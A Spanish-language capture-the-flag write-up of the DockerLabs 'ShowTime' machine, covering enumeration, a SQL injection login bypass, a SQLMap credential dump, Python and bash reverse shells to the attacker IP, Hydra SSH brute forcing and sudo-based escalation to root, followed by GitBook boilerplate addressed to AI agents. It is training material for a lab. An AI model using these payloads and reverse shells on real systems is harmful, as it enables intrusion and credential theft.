> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/showtime.md).

# ShowTime

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH y HTTP.

La cadena de explotacion empieza con una aplicacion web de tematica casino. La enumeracion descubre un panel de login vulnerable a SQL Injection, lo que permite entrar al area privada y localizar un panel de administracion capaz de ejecutar comandos Python. Desde ahi se obtiene una reverse shell como `www-data`.

La escalada pasa por una pista encontrada en `/tmp`, que contiene una lista de posibles passwords. Tras preparar el diccionario, Hydra permite obtener la password de `joe`; despues, una regla `sudo` permite ejecutar `posh` como `luciano`, y finalmente `luciano` puede ejecutar un script modificable como `root`.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -T4 --min-rate 5000 172.17.0.2
```

![Nmap](/files/vichEFXoy4ZbZfyCseg0)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 9.6p1 Ubuntu       |
| 80/tcp | HTTP     | Apache httpd 2.4.58 Ubuntu |

Nmap tambien identifica el titulo de la web:

```
cs
```

***

## Enumeracion web

Al acceder al puerto 80 aparece una pagina principal con tematica de casino:

```
http://172.17.0.2
```

![Web principal](/files/YPGjv2zN6S3hg91uLmxn)

Se lanza Gobuster para descubrir rutas y archivos:

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster raiz](/files/opEzN5eb5FiDRe1qIcC6)

Aparecen varios recursos interesantes:

| Ruta             | Codigo | Comentario             |
| ---------------- | ------ | ---------------------- |
| `/index.html`    | 200    | Pagina principal       |
| `/images/`       | 301    | Directorio de imagenes |
| `/assets/`       | 301    | Recursos estaticos     |
| `/login_page/`   | 301    | Panel de login         |
| `/server-status` | 403    | Restringido            |

Dentro de `/login_page/` tambien se enumeran ficheros PHP:

```bash
gobuster dir -u http://172.17.0.2/login_page/ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster login\_page](/files/zL4uXsGVXF7FVuxJTC3f)

Rutas relevantes:

| Ruta                    | Codigo | Comentario              |
| ----------------------- | ------ | ----------------------- |
| `/login_page/index.php` | 200    | Formulario de login     |
| `/login_page/home.php`  | 302    | Home tras login         |
| `/login_page/db.php`    | 200    | Fichero PHP accesible   |
| `/login_page/auth.php`  | 200    | Logica de autenticacion |

***

## SQL Injection

El formulario de login se encuentra en:

```
http://172.17.0.2/login_page/index.php
```

![Login](/files/MgOXYssl9i8xShwfhy5e)

Al probar una comilla simple se comprueba que el formulario es vulnerable a SQL Injection. Con un payload clasico se consigue iniciar sesion:

```
' OR 1=1 -- -
```

![Bypass SQLi](/files/uElskO8gpRTNzpKCf9Pd)

El login redirige a `home.php` y confirma el acceso:

```
Bienvenido, ' OR 1=1 -- -!
```

***

## Enumeracion con SQLMap

Se automatiza la enumeracion de la inyeccion con SQLMap:

```bash
sqlmap -u "http://172.17.0.2/login_page/home.php" --forms --dbs --batch
```

![SQLMap inicio](/files/KeyIJ79FILHvxaXj7g93)

SQLMap identifica varias bases de datos:

![SQLMap dbs](/files/GVtmVvam57v64TG5XogU)

```
information_schema
mysql
performance_schema
sys
users
```

Se enumeran las tablas de `users`:

```bash
sqlmap -u "http://172.17.0.2/login_page/home.php" \
  --forms --dbs --batch -D users --tables
```

![SQLMap tables](/files/kNfWmwgPzwDTnZpRN60t)

La tabla interesante es `usuarios`.

Al volcar su contenido aparecen usuarios y passwords:

![Dump usuarios](/files/eaWhsC7hPz7W0z5sXIEM)

| Usuario  | Password             |
| -------- | -------------------- |
| lucas    | 123321123321         |
| santiago | 123456123456         |
| joe      | MiClaveEsInhackeable |

Estas credenciales no son suficientes para completar directamente la maquina, pero confirman nombres de usuarios validos para la fase local.

***

## Panel de administracion

Tras el acceso aparece un panel de administracion:

```
http://172.17.0.2/login_page/admin-panel.php
```

![Panel administracion](/files/D0kI3X2jKFYuXue14vZs)

El panel permite introducir comandos Python. Se prueba ejecucion de comandos con el modulo `os` y se prepara una reverse shell:

```python
import os
os.system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'")
```

![Payload Python](/files/71cRtb5SFeeJvzbcau9a)

En la maquina atacante se deja Netcat en escucha:

```bash
nc -lvnp 4444
```

Al ejecutar el payload, llega la conexion:

![Reverse shell www-data](/files/jq2Y6TA57MAHv8ce6cNQ)

La shell cae como `www-data`.

***

## Enumeracion local

En `/tmp` aparece un archivo oculto:

```bash
ls -la /tmp
```

![tmp](/files/Q7O2IoEYfLKtpjQKrY26)

El archivo `.hidden_text.txt` contiene un mensaje para `martin` y una lista de trucos favoritos de GTA:

```bash
cat /tmp/.hidden_text.txt
```

![hidden\_text](/files/t1YwpsRNNiRQHv666z7s)

Aunque el mensaje menciona a `martin`, en el sistema interesan los usuarios identificados previamente, especialmente `joe`. Se copia la lista a un diccionario y se normaliza a minusculas:

```bash
cat contrasena.txt | tr '[:upper:]' '[:lower:]' > lower.txt
```

![Diccionario lower](/files/8G6wYy5pOCpssZj6sLun)

Con Hydra se prueba el diccionario contra SSH para el usuario `joe`:

```bash
hydra -l joe -P lower.txt 172.17.0.2 ssh -I -t 64
```

Hydra encuentra una password valida:

```
joe:chittychittybangbang
```

***

## Acceso como joe

Se accede por SSH con las credenciales encontradas:

```bash
ssh joe@172.17.0.2
```

Como `joe`, se revisan permisos de `sudo`:

```bash
sudo -l
```

![sudo joe](/files/3btg78VOEXmFiaEBp47A)

El usuario puede ejecutar `/bin/posh` como `luciano` sin password:

```
(luciano) NOPASSWD: /bin/posh
```

Se abusa de esa regla para saltar a `luciano`:

```bash
sudo -u luciano posh
whoami
```

![Shell luciano](/files/r4UmZN2tnrpwrEiVSTVQ)

***

## Escalada a root

Dentro del home de `luciano` existe un script:

```bash
ls -la
cat script.sh
```

![script luciano](/files/TIrBwNzj3u6pfnZ6x99N)

El script contiene una reverse shell hacia una IP concreta:

```bash
#!/bin/bash

IP="192.168.1.100"
PORT="4444"

bash -c 'exec 5<>/dev/tcp/"$IP"/"$PORT"; cat <&5 | bash >&5 2>&5'
```

Al revisar `sudo -l`, se observa que `luciano` puede ejecutar ese script como `root`:

```bash
sudo -l
```

![sudo luciano](/files/b8NJdkdBXDL8oJtkQQRf)

Regla vulnerable:

```
(root) NOPASSWD: /bin/bash /home/luciano/script.sh
```

Como el script es modificable por `luciano`, se reemplaza su contenido por una reverse shell hacia la IP atacante:

```bash
echo "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" > script.sh
sudo /bin/bash /home/luciano/script.sh
```

![Modificar script](/files/s6iHzobCPpc9k6R427Xk)

Con Netcat escuchando en el puerto 4444, llega una shell como `root`:

```bash
nc -lvnp 4444
```

![Root](/files/DhfZePn9rLECAvb8X1ES)

Se confirma el usuario:

```bash
whoami
```

```
root
```

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar SSH y HTTP.
2. Enumeracion web con Gobuster hasta encontrar `/login_page/`.
3. Bypass del login mediante SQL Injection.
4. Enumeracion de base de datos con SQLMap.
5. Acceso al panel de administracion y ejecucion de Python.
6. Reverse shell como `www-data`.
7. Lectura de `/tmp/.hidden_text.txt` para generar un diccionario.
8. Fuerza bruta SSH contra `joe` con Hydra.
9. Movimiento lateral a `luciano` mediante `sudo posh`.
10. Modificacion de `script.sh` y ejecucion como `root` mediante `sudo`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/showtime.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
